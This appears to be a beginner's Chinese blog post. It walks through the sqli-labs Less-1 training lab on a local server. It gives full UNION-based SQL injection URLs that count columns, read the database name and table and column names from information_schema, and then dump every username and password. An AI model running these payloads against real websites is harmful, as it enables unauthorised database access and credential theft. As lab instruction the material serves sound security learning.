萌新的sqli-labs1学习

 sqli-labs1

基本流程就是找到注入点,获取库名,获取表名,获取字段名,获取字段的值。

注意注意,你的符号要一直保持在英文。

首先我们需要找到库名,确认用户名和密码在哪个数据库。/?id=1会回显用户名1和密码1。

你一定知道sql注入的基本原理吧,很好,你很棒,我很开心。

我们可以添加单引号去闭合单引号,然后使用orderby去猜一共有多少列。

(url编码中,%27是单引号,%20是空格)

注意最后添加注释符号注释代码后面可能存在干扰的内容。(--+或者#)

http://127.0.0.1:8888/sqli-labs-master/Less-1/?id=1%27%20order%20by%203--+

order by 3是说以第三列为标准去排列,正常回显说明第三列是存在的。

//order by是mysql中对查询数据进行排序的方法,简单了解一下
select * from 表名 order by 列名(或者数字) asc;升序(默认升序)
select * from 表名 order by 列名(或者数字) desc;降序
//我们不需要知道order by执行的具体结果,而是通过order by能否执行来判断列数

 接下来order by 4发现报错,提示第四列不存在,说明只有3列。

http://127.0.0.1:8888/sqli-labs-master/Less-1/?id=1%27%20order%20by%204--+

 得知只有3列,我们可以利用union函数去进行联合执行sql命令语句,

http://127.0.0.1:8888/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,2,3%20--+

通过让 id=-1,使or之前的部分为假,就会执行or之后的内容。

通过select 1,2,3我们可以确认回显对应的位置。

 这里发现2,3会显示在页面上。

我们将2所在的位置替换为database(),这样在2所在的位置就会显示目前我们所在的数据库。

(这里也可以替换3的位置,你可以替换version()来获取数据库的版本。)

http://127.0.0.1:8888/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,database(),3%20--+

 我们看到我们所在的库名叫做security,找个记事本记一下,接下来准备爆表名。

因为表名可能很多很长,所以我们可以用group_concat()把他们放在一起输出。

这里用到了一个information_schema的库,这个库很厉害,里面有tables和columns两个表。

information_schema.tables有一个字段名是table_schema,用来选定特定的库。

通过添加where table_schema='security',我们可以在information_schema.tables这个表找到security库里面的所有表名,别忘了给库名加上单引号,这个很重要。

http://127.0.0.1:8888/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27security%27--+--+

 我们发现了security库下有三个表,分别是emails,referers,uagents,users

我们的目标是找到所有的账户和密码,所以只要找到users表的字段名就好。

当然,你也可以选择都看看,保持旺盛的好奇心是很开心的一件事。

把上一条的table_name换成column_name,

information_schema.tables换成information_schena.colunmns,

最后的条件换成where table_name='users',

然后你就可以获得users表的所有字段名。

http://127.0.0.1:8888/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%27users%27--+--+

 我们直接在表里面去找username和password两个字段就可以,

这里和前辈们学到一个小技巧,

直接把username和password连在一起很不好看,中间放一个id会变得好区分一些。

http://127.0.0.1:8888/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,group_concat(username,id,password),3%20from%20users--+

 那么恭喜你,你拿到了所有的用户名和密码,你很棒,我也很棒,哈哈。

第一次尝试着写博客,就算是这种简单的也好难,虽然写的比较凌乱,但是,

但是,如果你能学到一些新的东西,我会很开心。未来的路还很长,所以加油吧,少年!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值